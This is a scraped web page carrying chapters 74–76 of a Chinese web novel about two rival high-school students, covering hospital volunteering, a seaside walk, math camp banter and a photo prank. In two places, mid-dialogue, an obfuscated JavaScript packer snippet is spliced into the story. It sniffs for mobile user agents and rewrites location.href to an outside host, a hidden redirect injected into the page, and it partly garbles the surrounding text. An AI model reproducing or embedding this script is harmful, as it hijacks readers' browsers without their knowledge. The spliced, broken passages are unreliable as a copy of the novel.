- 何非亮很快就成为了最受欢迎的老师。 小朋友们都围着他,问各种各样稀奇古怪的问题。 “世界上有外星人吗?” “你会算命吗?” “这个图片里的阴影部分面积怎么求?” …… 另一边,小同学正在草稿纸上疯狂演算,大冷天的几乎要冒汗了,嘴里念念有词,不知道是在安慰站在旁边的小朋友还是在安慰自己,“别着急,别着急,这题出得有点难度。但是一定是能写出来的。呃,ABCD乘以4等于DCBA,这个……” 林茉茉把纪小鱼拉到了一旁,小声地问,“你更新了吗?” “什么?” “《纪小兔与何龟亮》。你上次刚讲完第一回,‘神兔逆袭,打脸河边老龟’,”林茉茉弯着眼睛“咯咯咯”地笑了笑,帮着纪小鱼回忆道,“你说到那个老龟被打脸了以后,很生气,躲在山洞里闭关修炼,决心要报复。” “哦,是的。”纪小鱼无法辜负那双充满期待的眼睛。他摸了摸鼻梁,连草稿也没打就开始了一本正经的胡编乱造,“话说那个老龟在山洞中修炼脸皮……” “哈哈哈哈!”林茉茉忍俊不禁,又惊又奇,“你说什么?他在修炼脸皮!?” “嗯嗯,是啊!就是在修炼脸皮!”纪小鱼得意地点了点头,眉飞色舞地继续编排道,“哎呀,历经千年,何龟亮的脸皮终于修炼得比城墙还厚,可以刀枪不入、水火不侵了。这样一来,他被打脸就再也不会痛了。何龟亮自信满满,相信自己的脸皮厚度已经天下无敌了,就出关去找神兔算账。他们又打了一场,但这次,厚脸皮的何龟亮还是失败了。这是为什么呢?嗯……” “因为纪小兔脸都不要了。”何非亮在一旁冷冷地说。 纪小鱼尴尬地眨了眨眼睛。 74.第七十四章 观海有感 “有蚊子。”何非亮把小朋友送给他的大拇指贴纸揭下来,淡定地拍在了纪小鱼的衣服上——当然,是拇指朝下。^_^ “啊?有蚊子?” “抱歉,”何非亮一脸无辜地耸了耸肩,“看错了。” “莫名其妙。”纪小鱼不太高兴地嘟囔道,“你该不会有飞蚊症吧。” 总而言之,匆匆忙忙,一天的义工活动终于圆满结束了。 在纪小鱼离开医院前,林茉茉悄悄告诉他,自己下下周就要做手术了。 “做完这一个,还有一个,”林茉茉掰着手指数算,仰起脸露出一丝轻快的笑容,“如果都成功了的话,我就好了,可以像一个正常人一样了。但是,如果失败了其中一个的话,我就……” “哎呀,一定会都成功的啦!别担心!”纪小鱼这么说着,想要给林茉茉一个鼓励的笑容,却在低头的一瞬间,不小心对上了她清澈的目光。 有什么东西一闪而过,是还没来得及藏好的惊惧与迷茫。那一瞬间纪小鱼仿佛洞悉到了那双眼睛里曾经掩埋着许多的伤心和疲惫。 不不不,你不需要感觉到抱歉啊,生病又不是你的错…… 下意识冲到嘴边的话又不由地缩了回去。 平白无故的安慰反而会让人感到窘迫,这是低情商的做法。高情商的纪小鱼觉得自己在这个问题上还是先闭嘴比较好。 “嗯,”纪小鱼错开了和林茉茉对视的目光,他直起身子,自顾自地抚摸着光滑的下巴,双眼注视向遥远的前方,仿佛在展望着未来,“我看你有几分悟性,是个天资聪慧的好苗子。这样吧,等你出院以后,我就把我珍藏已久的学习秘籍传授给你,保你的成绩可以在学校里横着走,竖着走,斜着走,要多威风有多威风!” “怎么样,”纪小鱼冲林茉茉挤了挤眼睛,“是不是想想就有一点小激动呢?” “还好。”林茉茉对这一份宏图大业似乎缺乏足够的兴趣。 但这并不能阻挡纪小鱼“好为人师”的热情。只见他背负双手,昂然而立,试图摆出一副高深莫测的模样——浑然不觉胸口处正张贴着一个拇指向下的贴纸。 “林茉茉,”纪小鱼故作深沉地开口道,“等你长大以后,你就会明白,‘生活就像海洋,只有意志坚强的人才能到达彼岸[1]’。你再多坚持一下,美好的未来就在眼前了!” 纪小鱼走后,林茉茉用铅笔在她的日记本上认真地填上了今天的日期,用一个小太阳代表了今天晴朗的天气,然后歪歪扭扭地写道—— 「 今天纪小鱼来了。他是一个很搞笑、很滑jī的人。他很喜欢吹牛。我很想他明天也来,可是他说不行,他明天很忙,要去学校竞选校长。他还说我会有一个美好的未来。真的假的,我可以相信他吗? 」 …… 海风阵阵,海浪滔滔。 纪小鱼和何非亮沿着海岸线回家。 这条路风景绝佳,只是稍微绕远。 远望云端有孤鸿高飞;近观海面有野鸭横渡;仔细一看,海里亦有鱼成群结队,时而跃起,落下时荡起圈圈涟漪。 道路的前方,一位父亲怀抱着他的孩子,声音洪亮地问道,“儿啊,看到大海,你想到了什么?” “海绵宝宝!”他的孩子快乐地回答,“还有派大星!” “嗯……你难道没有想到曹操的《观沧海》吗?我今天上午才教你背的。” “没有。”他的孩子诚实地回答,只不过这一次的声音比刚才的稍微弱小了一点。 “没有也没关系,但你应该还记得怎么背吧?来,背给爸爸听一下!” 小孩子呆呆地咬着手指,突然大哭了起来。 在“哇哇”的哭声中,纪小鱼眉飞色舞地低声和何非亮炫耀道,“我会背!” “啧,初中必背古诗,”何非亮对此毫无夸赞的意思,“你会背不是应该的吗?” “哼!”面对何非亮如此不捧场的态度,纪小鱼嚣张跋扈地从鼻子里喷出一口气,“我还会写呢!” “哦?”何非亮微微挑起眉梢,“那——需不需要七步的时间?” “用不着!”纪小鱼眺望向海平面的尽头。 何非亮静静地等着看纪小鱼怎么装逼,嘴角扬起一点似有若无的笑。 彼时,海边翻涌着泡沫似的浪花,云边浮动着一抹梦幻似的轻红。风从遥远的地方吹来,夹杂着凉爽的快意。有些人光是站在那里就已经足够光彩夺目了,更何况还有夕阳衬托。 纪小鱼朗声开口道—— “ 看到大海,想到同桌。 为什么呢,请听我说。 我有同桌,其人如海。 表面很浪,实际很卷。 我有同桌,其人如海。 浪里个浪,卷了又卷。 幸甚至哉!歌以咏志。 ” 何非亮沉默了一下,没绷住,笑了出来。 笑着笑着,他也不由地抬头眺望向了水天相接的界限,联想到江河,联想到游鱼,心中似有所动。 天下江河,殊途同归,千百年来不舍昼夜地循着海拔的参差,自高向低,奔流到海。而后水气蒸腾,经天流地;化为百川,复归深海。轮回辗转,周行不殆。 无论多么汹涌,河流也难违既定的方向和轨迹。 而小小的游鱼,却反而能无拘无束,自在东西。 身拘于天地,如鱼囿于水。 境遇两相似,心难如鱼美。 尝闻鱼可羡,今见鱼可愧。 三千烦恼围,悠然甩鱼尾。[2] 何非亮缓了缓,忽然开口道,“我倒有一首,名叫《咏鱼乐》。” “什么?”纪小鱼有点不明所以,“我只听过《永遇乐》!” “哎呀,既然你这么孤陋寡闻,”何非亮弯了弯眼睛,抬手摸了摸纪小鱼的头,“那叫《摸鱼儿》也行。” 纪小鱼朝何非亮翻了个白眼,“算了,还是叫《咏鱼乐》吧!” 正在这时,突然有人热情地招呼道,“嘿,班长!嘿,好兄弟!” 纪小鱼循声望去,只见吕天明正一手拿着个长长的铁钳子,另一手朝他挥舞着。 陈典不紧不慢地吊在吕天明的身后,身上只穿了一件篮球背心,坚实的肌肉却仿佛某种羽绒服一般凸起。他的肩上挑着一根不知从哪里捡来的树枝,上面拴着一个半瘪的大号黑色垃圾袋。见到了何非亮和纪小鱼,陈典好像显得有点别扭,但还是和他们说了一声“Hi”。 “你们也是来捡垃圾的吗?”吕天明一句话差点把纪小鱼给吓坏了。 “不、不是的。”纪小鱼结结巴巴地回答,“我们就是路、路过,路过而已。呃……你们在——捡垃圾???发生什么事了?” “哦,”吕天明淡定地向他们解释道,“我们报名了那个在海湾边上捡垃圾的义工活动。” 原来是这样——纪小鱼这才松了口气。 “呃……”但好像又轮到吕天明开始紧张了,他的目光小心翼翼地在纪小鱼和何非亮之间滑来滑去,“你们这是……不是在捡垃圾?嗯……那是……在一起……散步吗?” “啊,我们在讨论数学题,”纪小鱼尴尬地摸了摸鼻梁,“嗯……就是那个如何用线性代数处理多维数据来进行三维坐标识别。还有,呃……” “模运算和质数在密码学中的应用。”何非亮帮忙补充道。 很好!吕天明和陈典的眼睛都开始打叉了。 吕天明甩了甩头,感觉到了此地不可久留,连忙说道,“我们还要把捡垃圾的工具还回去,再打个卡什么的,我们先走了哦。拜拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311461|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “拜拜!明天见!”纪小鱼和吕天明摇了摇手。 “明天?”吕天明的脚步一个趔趄,似乎是受到了极大的惊吓,一边走一边嘴里接连地蹦出一些杂乱无章、不太文明的词句,最后,他说,“哦!陈典,你敢信,我明天要上学!” “我敢啊。S中要什么时候开学我都不会意外。”陈典挠了挠头,小声地嘟囔道,“但我有点不敢相信他们俩会在海边一起讨论数学题……这也太卷了吧……不过,那个纪小鱼倒还挺有个性的,说实话,我还蛮欣赏他的……” 纪小鱼的耳朵惊喜地竖了起来。 “你刚才看见没有,他那个衣服上的贴纸,嗯,就很拽……” “我也觉得,”吕天明的声音应和道,“有一种对这个世界朴实的嘲讽……啊,真不愧是我的好兄弟啊!” “那我呢?我是你的什么?” …… 贴纸?什么贴纸? 纪小鱼在冷冷的风中困惑地低下头,终于迟钝地注意到了外套上那个拇指向下的贴纸。 啊啊啊啊啊!丢死人了!这玩意在我身上到底贴多久了??? 纪小鱼一把揭下了胸口的贴纸,扭过头,张牙舞爪地质问道,“喂,何非亮!说!这是不是你干的!” “啧,既然你诚心诚意地问了,那我就大发慈悲地告诉你——” 还没等何非亮说完,纪小鱼就完完全全地失去了耐心,在海岸边开启了对何非亮的猎杀行动。 - 夜深了,纪小鱼终于突击写完了全部的英语报纸!厚厚的、一大叠的英文报纸! 啊,这真是一个壮举!一个了不起的壮举! 我真棒啊! 纪小鱼伸了个懒腰,心满意足地瘫在了椅子上。 唉,好渴哦,下楼倒杯水喝吧。 其实早就感觉到渴了,只不过刚才正忙着把这些题都通通一鼓作气地写完。 唉,真是太不容易了! 想来这个世界上所有牛逼的事情都不容易。纪小鱼一边下楼一边在心里感慨道——这么多年来,自己真是太不容易了!怎么还是没能超过何非亮呢?这不科学啊!!! 水倒回来了,路过何非亮的房门前,纪小鱼警觉地刹住了脚步。 等等,有情况! 光从门底的缝隙里漏了出来,一道昏黄的线。 啊哈! 纪小鱼的嘴角勾起了一丝略显狰狞的笑—— 啧啧啧,何非亮!功夫不负有心人,终于被我逮到你在半——夜——偷——卷——了吧!!! 哦呵呵呵,赶紧交出你偷学的宝题吧!!!哈哈哈哈! 纪小鱼的周身散发出了邪恶的火焰,他一手拿着杯子,另一手气势汹汹地压着门把,整个人就这么闯了进去,随及愣在了门边。 什么?何非亮大晚上的不睡觉,竟然在——画画!? 啊,这…… 纪小鱼觉得自己有点要汗流浃背了。 何非亮坐在画架前,手里提着还蘸着颜料的画笔。听到动静以后,他诧异地侧过身来,眨了眨眼睛,问道,“小鱼?” 侧过身的空当,纪小鱼看见了画布上已经上好了色的玫瑰地,一片暗夜里盛大的、含苞的花海。 “对不起,打扰了,”纪小鱼觉得鼻尖有点痒,忍不住抬手揉了揉,“我——走错了!” 何非亮一脸怀疑地打量着他。 “啊不——”纪小鱼自己也意识到了这个借口实在是很扯,“我是说——” 在这令人冷汗涔涔的危难关头,纪小鱼终于急中生智,及时地把手里倒好的水殷勤地向前递了过去,并且挤眉弄眼地露出了一个既恭谨又谦卑的难看笑容。 “少爷,您辛苦了!”纪小鱼捏着嗓子道,“老奴这是来——给您送热水的!” 75.第七十五章 黑照风云 “啊,我真帅!” 纪小鱼对着镜子一通挤眉弄眼,情不自禁地发出感慨。 何非亮倚在墙根,双手抱臂,要笑不笑地看着纪小鱼。他的脸上总有一种清冷疏离的气质,嘴里却吐出了轻佻的话语,“小帅哥,快点了,要迟到了。” “哦,来了!”纪小鱼又最后一遍理了理自己的发型,这才恋恋不舍地彻底把目光从镜子前挪开。 红砖铺就了一条绛红色的长道,平坦开阔,连接着家和学校。一路上绿树成行,凉风舒爽。 “诶,你刚才叫我什么?小帅哥?”一边走,纪小鱼一边快活地问道,“哎呀呀,你也觉得我很帅吗?啧啧,算你有点眼光。” “是啊,”何非亮淡定地回应,“你不是纪小帅他表哥吗?” “哼。”纪小鱼吝啬地收回了笑容,把脸给板起来了。 “小帅哥,你把本子还给小帅了吗?”何非亮不依不饶地追问。 纪小鱼的脸色更臭了,“不关你的事。” “怎么不关我的事呢,他可是我的粉丝呢,对吧?”何非亮的眼底藏着揶揄的笑,嘴角也跟着微微一扬,“你其实可以和他说,想知道什么,不必大费周章,可以直接来问我。” “什么都可以问是吧?”纪小鱼压抑住内心的抓狂,皮笑肉不笑地朝何非亮翻了个大大的白眼,“呵呵,那么请问,你这个人怎么可以,这么不——要——脸——哦?” “回答问题是粉丝福利,”何非亮扬起眉梢,一副十分欠扁的模样,“你也是我的粉丝吗?” “滚!” …… 一路上打打闹闹,树上的鸟也跟着笑——“叽叽喳,叽叽喳,两个大傻瓜;喳喳叽,喳喳叽,生活多甜蜜!” 等走到数学集训班的教室里时,班里的同学都已经差不多到齐了。 单人单桌的摆设,让整个教室显得有点过于空旷。大家都在各做各的事情,非常有边界感,仿佛互相之间隔着一层无形的障蔽。吕天明在玩手机,不知和谁正聊得热火朝天,脸上泛着神秘的微笑;张朝在看书,看的是《谈判:如何在博弈中获得更多》,目光中时不时闪过一丝晦暗;苟浮云在赶作业,她的黑眼圈已经很不幸地比眼睛还大了;乔冬冬在琢磨着自己的手指甲——好像那上面有她今天的运势一样。 纪小鱼安静地回到了自己的座位上,迫不及待地从抽屉里掏出了心爱的习题,摊开在了桌面上。 一道神秘的电流突然贯穿了他右手的手臂。 啊,糟糕!我的手,我要控制不住我的手了! 啊,我的手——好想刷题!!! 刷!!! 哎呀呀,虽然有点不好意思,说出来可能会被人打(比如吕天明),但纪小鱼心底里一向是喜欢上学的。忙碌和充实能给他一种难言的安全感。 唉!都说尘世纷纷,人间扰扰,学校对于纪小鱼来说反而是一片难得的净土。在这里他可以不被打扰地攫取知识,肆意地从刷题中获得即时的成就感。偶尔发呆,纪小鱼的脑海中会浮现出自己有一天打败何非亮的剧场,这为他个人的奋斗生涯注入了无穷的动力和活力—— “哦呵呵呵呵!”纪小鱼脸上的笑容逐渐扭曲,这是演到了:【何非亮举白旗投降】。 “啊哈哈哈哈!”这份的笑容愈加猖狂,这一幕显然是:【纪小鱼无视了何非亮,并把他踩扁】。 “啧啧啧啧啧!”就连眼神也禁不住丧心病狂了起来,没错,此时正是本集中最精彩的近景片段:【纪小鱼蹲下身子,仔细地欣赏着何非亮被踩扁以后口吐白沫、眼睛打叉的样子,手掌在他的脸颊上轻拍,“怎么样?服不服?就问你服不服?”】。 上午一晃而过。 “小鱼,”纪小鱼的眼前突然出现了五根摇晃的手指,五指的间隙后是何非亮充满探究的脸,“小鱼,别做白日梦了,口水都快流出来了,走啦,去吃饭了。” “哦。”纪小鱼回过神来,讪讪地抬起手背擦了擦唇角。 …… 集训期间的食堂是没有开工的,好在严老师给他们都叫了外卖。 只有乔冬冬例外。她的双胞胎妹妹乔希希每天坚持不懈地给她从家里带饭到学校。不过据说寒假过后,乔希希就要前往首都进行集中学习专攻艺考了。说起来这条路又何尝不是千军万马,这几天大概是她高考前最后的闲暇了。 今天她从家里给姐姐带的是黑胡椒炙烤封门牛柳配南瓜无花果绿叶蔬菜沙拉,那诱人的香气几乎要把纪小鱼给馋哭了。 “呜呜呜,”纪小鱼羡慕得眼睛流泪,向着何非亮感慨道,“我也好想有一个妹妹哦。” “有妹妹不太容易,”何非亮双手抱臂,要笑不笑地瞅着纪小鱼,“但你可以有哥哥啊。” “啊?哥哥?”纪小鱼一头雾水——什么哥哥?哪里来的哥哥? “欸——”何非亮自然而然地应道,漂亮的桃花眼里流露出隐约的促狭。 纪小鱼:“???” ……神经病呐!!! 终于,纪小鱼头顶的问号变成了感叹号。他反应了过来,气呼呼地朝何非亮翻了一个真情实意的白眼,“喂,何非亮,你这人怎么这么不要脸哦!?” 何非亮睨着纪小鱼反咬一口,“你先叫的哥哥……怎么反而说是我不要脸?” “诶,你……”纪小鱼目瞪口呆。 “我都没嫌弃。”何非亮又幽幽地补了一句。 “我……”纪小鱼一时英雄气短,从脑海中竟然搜刮不出反驳的话语,憋得脸都红了。 “纪小鱼。”正在这时,乔希希有点不好意思地走了过来。她今天穿着白蔷薇色的裙子,看上去像一个从天而降的温柔天使,“你想不想吃黄油曲奇?这里有多一份。我姐姐她、她今天刚好不想吃甜食……” “啊?给我的吗?”刚才的阴霾一扫而空,纪小鱼转瞬就又变得眉开眼笑了起来,“谢谢、谢谢!” “是我亲手烤的,”乔希希小小声地说,“可能、可能不太好吃……” 素白的小纸袋里,两块柔黄的小圆饼乖巧地依偎在一起,饼干上印压着一层一层、玫瑰花瓣似的褶,看上去十分精美。纪小鱼迫不及待地拿出其中一块大嚼了起来—— “哇!”他的脸上浮现出了幸福的神色,“好好吃哦!” “真、真的吗……”乔希希站在原地,两颊飞起红云。 “何非亮,这个饼干是真的很好吃哦!香香的、甜甜的、脆脆的!想吃吗?想吃吗?哎呀呀,可惜没有你的份!”纪小鱼忙不迭地在何非亮的眼皮子底下显摆着纸袋里剩下的另一块曲奇,一边说一边得意地扬起了眉梢,“这样吧,刚才的事情我大人有大量,就先不和你计较了。你叫回我一声‘好哥哥’,这个饼干呢,我就勉为其难地分给你一块,怎么样?” 意料之外,何非亮沉吟几许后,竟然略一勾唇道,“可。” “啊,你同意了?好好好!那你快叫吧!”纪小鱼急忙整顿衣衫,端正神情,抬首挺胸,昂然肃立,迅速摆出了一副随时准备接受朝拜的模样。 一番大眼瞪小眼以后,纪小鱼看着完全没有反应的何非亮,沉不住气了,“喂,你倒是快叫啊!” “叫什么?” “‘好哥哥’呀!” “欸——”何非亮脸不红、心不跳地应道,懒懒的尾音里藏着隐约的戏谑。 “喂!”纪小鱼恼羞成怒,“太过分了吧!你不是都已经同意了吗?我听见你说‘可’了的!好气哦!君子一言,驷马难追!你耍我、还占我便宜!你这个小人!我和你拼了!” “我还没说完你就打断我了。”何非亮无辜地耸了耸肩,“我要说的分明是‘可笑’。” 嘀嘟—— 纪小鱼的大脑被何非亮气得直接死机重启了。 …… 重启后的纪小鱼,一路上都在骂骂咧咧—— 好气哦!何非亮这个人不仅不要脸,而且真的老麻烦了!他的不要脸事迹三天三夜也说不完,他一系列的麻烦事迹更是罄竹难书! 就比如说这个吃东西,大家不都坐在教室里吃得很开心吗?可何非亮他就偏偏要搞特殊,怎么样都不愿意在教室里吃,非要大老远地把饭拎去食堂吃。问他为什么,他就轻飘飘地来一句——不想在课桌上弄到油。 哎呦喂,真是的!课桌上弄到一点油有什么大不了的?会宇宙爆炸还是会世界毁灭哦?拿纸巾沾点水擦一擦不就好了! “诶诶诶!何非亮!你这个不要脸的东西,别走那么快,等等我!” 至于纪小鱼为什么还要屁颠屁颠地跟上一起去食堂……嗐!那完全是因为何非亮自作主张地把纪小鱼的饭也顺带提走了。╮(╯▽╰)╭ 一排排塑料的白桌绿椅冷冷清清地空着,偌大的食堂里只有他们俩。 “小帅哥。”何非亮坐在餐台的对面,突然开口道。 “闭嘴。不许叫我小帅哥!”纪小鱼轻声怒骂,手里的叉子直直地扎进餐盘的猪扒肉里。 “帅还不让说吗?” 何非亮眼微弯,笑笑地注视着纪小鱼。 纪小鱼像被噎住了一样,鬼使神差地竟然从何非亮那双狐狸一般的眼中,看出了些许真诚的意味。 缓了缓,纪小鱼弱弱地开口道,“行,你说吧。” “你好帅,真心的。”何非亮朝纪小鱼挤了挤眼睛,肆无忌惮地放出眼里十万伏特的电流和足以颠倒众生的万千风华,“我可以给你拍个照吗?” “哦。”纪小鱼有点不好意思,只觉得心里酥酥麻麻,脑袋也晕晕乎乎的。于是,嘴巴自作主张地同意了,“行啊,拍吧。” “来,小帅哥,看镜头。”何非亮端着手机指挥道,“三、二、一,鼻子!” 啊? 鼻子?什么鼻子? 只听说过“茄子”,从来没听说过什么“鼻子”。何非亮这是从哪个星球学来的哦?真是莫名其妙! 纪小鱼觉得有点懵,但还是不由自主地咧嘴一笑。 “好了,”何非亮心满意足地收起手机,随后突然伸手,捏住了纪小鱼的鼻尖,从上面拈下一粒米饭来,“啧啧啧。” 纪小鱼瞬间石化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324100|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 旧恨又添新仇。战火一路延伸,从食堂里一直燃烧到了食堂外。 纪小鱼打打打打打! 何非亮闪闪闪闪闪! 吕天明等一众同学挤在栏杆边向下张望。 “天啊,那是传说中的霹雳旋风无影掌吗!?哦,可惜没中……” “飞鹰擒兔爪、天马流星拳……哎呀,何非亮不会是凌波微步的传人吧?这都能躲开?” “真是太精彩了!” “刺激!” …… 哎呦,可恶,何非亮这人不会把点数都加到闪避上去了吧?几个回合下来,纪小鱼的武功绝学竟然全都喂给了空气。 好气哦!!! “把手机交出来!”纪小鱼气急败坏地龇着牙。 “不给,”何非亮挑衅地扬眉,手机在他的手上懒懒散散地掂着,亮起的屏保赫然已经是纪小鱼吃饭吃到鼻子上的黑照了,“有本事自己来拿。” “嗷呜!!!”纪小鱼变身为纪小狼,力量300%增益。他亮起冷白的獠牙,激动地朝何非亮扑了上去。 “小鱼,”这一次何非亮没躲,他任凭纪小鱼抓住了他右手的胳膊,要笑不笑地压低了声音,“你确定要在这么多同学的面前咬我吗?” 纪小鱼来势汹汹的牙齿紧急刹车。他抬起眼,目光越过了何非亮的肩膀,落在了二楼栏杆边正等着吃瓜看戏的一众同学身上。 啊,这…… 纪小鱼老脸一红,尴尬地直起身子。 “不如回家再打?” “行吧。”纪小鱼顺坡下驴,手指沿着何非亮的小臂滑落,敷衍地和他握了握手。 暂时休战。 - 上课、下课、做题、讲题。所有的集训大概都有这么一个特点,那就是速度快,强度大,效率高。即使被选中的同学都是基础不错的,这么一天的训练下来,也各个都有点像在坐直升机——云里雾里的。 “好兄弟,我好崩溃。”放学了,吕天明像幽灵一样飘来和纪小鱼诉苦,“四道大题,一道不会。” “没事的,”纪小鱼安慰道,“竞赛题嘛!哪能一下子全会呢?我觉得四道里有一道不会是很正常的。我也偶尔遇见一两道不会的。真的。” “我的意思是,”吕天明的语气听起来更沮丧了,“四道大题一道也不会。” 他们俩大眼瞪小眼,一时竟默默无言。 “没事的。”纪小鱼拍了拍吕天明的胳膊,“至少——至少放学了呀!” “也对!”吕天明拎起书包,一声长啸,头也不回地离去了。 数学集训是没有晚自习的,放学了可以回家也可以住校。看起来大部分同学都选择了回家。其中一个家住得比较远的同学,他妈妈听说亲生的宝贝崽子竟然在为传说中的数学竞赛做准备,简直骄傲得要热泪盈眶了,愣是在学校附近斥重金给租了个房子。 纪小鱼原先就是走读生,因此没得选,只能回家。 并且目前来看,这个家,还只能是何非亮的家。 纪小鱼一边思考着等会回家以后和何非亮对打的战术,一边慢慢腾腾地收拾着自己的习题。他如今连书包也没有(书包落在自己家了),只能可怜巴巴地借用何非亮家的一个帆布袋。 不过这个帆布袋还挺有品味的,上面是手绘的阿尔丰斯·穆夏的画。何非亮说,这是他搞艺术策展的小姨送给他的。 身后,张朝逐渐从气管炎咳成了肺痨。纪小鱼朝他望去,看见他用手指指着门外。 哦~懂了、懂了! 纪小鱼心领神会,朝张朝眨了眨眼睛。张朝也朝他眨了眨眼睛,咳嗽着走出教室。 “也不知道张兄有何贵干……”纪小鱼在心里暗暗嘀咕。 算了,去看看不就知道了! 纪小鱼借口要上厕所,在走廊和张朝会合。 他们在楼梯下的阴影里密谋。 “纪兄,”张朝试探地开口,“你近来,和何非亮走得有点近啊。莫不是——已经放下了彼此之间的结缔,言归于好,化敌为友了吧?” “那、那怎么可能!”纪小鱼抬手摸了摸鼻尖,联想到了中午的黑照事件,脸色顿时变得恼恨了起来,“我和他可是死对头,你死我活的那种!” “那就好、那就好。”张朝闻言似乎是松了一口气,脸上浮起一丝略带惆怅的微笑,“唉,举世皆浊,唯你我二人独清。纪兄,你是个难得的明白人。不过,”张朝话锋一顿,一边悉心细察着纪小鱼的脸色,一边继续缓缓开口说道,“何非亮这人阴险狡猾得很,你千万小心,不要被他给迷惑了。” “那必须的!” “那么,我就直说了——”张朝不知从哪里掏出了一柄折扇拍打手心,仿佛指点江山一般,“俗话说得好,打蛇打七寸。我有一计,可直攻何非亮的弱点。” “啊?”纪小鱼惊奇道,“何非亮有弱点吗?” “根据我的潜心观察,”张朝“啪”的一声展开折扇倚在胸前,抬起头,认真地直视向纪小鱼的眼睛,“纪兄,你,就是何非亮的软肋。” 76.第七十六章 擦出火海 吃完晚饭以后,桌上杯盘狼藉。 “小帅哥。”何非亮似乎是喜欢上了这个称呼。 “小靓(亮)仔。”纪小鱼也学会了如何反唇相讥。 “开始吗?”何非亮睨了纪小鱼一眼,“输的人洗碗。” “呵呵,谁怕谁!”纪小鱼抱着胳膊嘟囔道,“说好了哦,每人轮流出三道题。” “sin0?”何非亮懒洋洋地开口。 “等于0。” “cos0?” “等于1。” “cos1?” “等于……”纪小鱼把即将要脱口而出的“0”给噎了回去,心里暗喜——嘿嘿,小样,你该不会是想拿这种题目挖陷阱坑我吧?这不搞笑吗? “约等于0.54!”纪小鱼咧了咧嘴,露出了一个自信闪耀的笑容 “嗯,好吧。”何非亮耸了耸肩,“到你问了。” 纪小鱼眼珠一转,目光里闪动着狡黠,“对对子你总会吧?我也不为难你,差不多、差不多就可以了。那么——我出上句,你对下句。嗯……还有,必须要在三秒钟之内说出来哦!” “听好了,第一句——”纪小鱼摇头晃脑地开口,“游乐园里游园乐。” “同心锁旁同锁心。”何非亮几乎是脱口而出。 纪小鱼咬牙,又来了一句,“观音山上观山水。” 这次,何非亮总算是稍微思索了一下,“达摩洞里达洞明。” 纪小鱼倒吸了一口冷气,惊奇地挑眉,“嘿,有两把刷子嘛!” 何非亮横斜了纪小鱼一眼,摆出一副云淡风轻的模样,“哈,没一点挑战哦。” 嘶——好气哦!!! 纪小鱼被狠狠地嘲讽到了。 两人扭打在了一起。 …… 绵密的泡沫浮在海绵刷上——喜唰唰呀喜唰唰! 纪小鱼一边洗碗,一边在哗啦啦的水流声中扯着嗓子问道,“何非亮,你初中的时候在干嘛?” “……” 纪小鱼不依不饶,“听不见!大点声!” 何非亮正闲闲地翻阅着手里的一本厚书,闻言抬高了音量回道,“在上学啊,不然呢?” “我是说,你有没有和班上的同学发生什么摩擦啊、产生什么矛盾啊之类的!” 何非亮勾唇一笑。他合上了手里的书本,慵懒地起身,一边走向厨房,一边答道,“你问这个干嘛?我不记得了。” “不记得了的话就是有!”纪小鱼斩钉截铁地下了定论。 “哦?我可从来没有听说过‘不记得’是‘有’的充分条件。”何非亮斜倚靠在厨房的门框边,要笑不笑地挑眉,似乎对纪小鱼的这一理论表示惊奇,“小鱼,你的逻辑学,小心不及格。” “胡说!我怎么可能会不及格!我的字典里就没有……哎呦,救命啊!”纪小鱼正忙着把手里勺子上的浮沫冲洗干净,一不小心角度没对,被直直地反弹了一脸水,看上去狼狈极了。 “哈哈!”何非亮幸灾乐祸地笑了出来。 纪小鱼连忙关掉了水龙头,抬起袖子抹了一把脸上的水,恼火地转过身,十分不满地瞪视着笑得仿佛良心被狗吃了的何非亮,“喂,笑什么笑哦?你就不能有点同情心吗???” “呜呜呜,”何非亮不笑了,装模作样地哭了起来,“小鱼,你好惨哦!” 啊啊啊啊啊啊!!! 纪小鱼抓狂了,崩溃了,只差没原地气晕过去。 苍天啊,大地啊!和何非亮相处——实在是太容易产生摩擦了吧!!! 啧,刚才那个问题根本就不需要问好吧?就何非亮这样的为人处世——他和他的初中同学完全没有点过节才是很不正常的吧? 你看,这才在他家洗个碗的工夫,就已经足以摩擦出火花……啊不,是火海了吧! 何非亮还在假惺惺地揉着眼睛。 纪小鱼气极反笑—— 可恶,这个世界上就是有这么一种人,总能把你气得半死不活,你对他咬牙切齿,却又无可奈何。 张兄肯定也是哪次就被何非亮气糊涂了,气得如今都有点神志不清、不择手段了。 具体是什么事……算了,下次干脆直接问问张兄好了。 呃,也不知道有没有下次了。毕竟他们上次的对话,似乎并不很愉快。 …… 事情是这样的—— 当张朝脱口而出“纪兄,你,就是何非亮的软肋”时,纪小鱼简直要大惊失色地拿起拖把在张朝胸前摇晃的折扇上批注“胡言乱语”四个字了。 “纪兄,你听我说。”还好张朝连忙解释道,“这么多年来,何非亮的人生几乎是一帆风顺的。他的内心也因此建立起了强而稳定的优越感。同时,根据我的观察,他对你与对旁人格外与众不同。我想,这是因为你对他来说,是唯一看得上眼的对手。他从战胜你的过程中,源源不断地汲取着维持他自信心和优越感的养料。” 这话成功地在纪小鱼的心里激起了一点悲愤的情绪。他沉默地看着张朝,在心里哀哀地叹了一口气——唉,原来大家都是这么想的吗?他的那些值得尊敬的失败,在别人的眼里,竟然只是何非亮赖以维持自信心和优越感的丰厚养料吗? 唉,古人云“人为刀俎,我为鱼肉”,如今的这种情况算是——“何非亮是小小的花朵,他是臭臭的泥巴”吗? 